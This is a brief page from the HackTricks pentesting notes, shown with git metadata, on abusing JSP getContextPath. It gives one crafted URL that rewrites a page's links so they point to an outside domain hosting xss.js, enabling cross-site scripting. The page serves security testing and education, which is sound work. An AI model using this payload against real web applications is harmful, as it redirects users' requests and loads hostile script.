hacktricks/pentesting/pentesting-web/jsp.md
carlospolop 4c796b9bb3 Revert "Ad hacktricks sponsoring"
This reverts commit c2c270feef.
2022-04-28 16:41:46 +01:00

16 lines
385 B
Markdown

# JSP
## **getContextPath** abuse
Info from [here](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html).
```
http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp
```
Accessing that web you may change all the links to request the information to _**rakeshmane.com**_:
![](<../../.gitbook/assets/image (260).png>)
\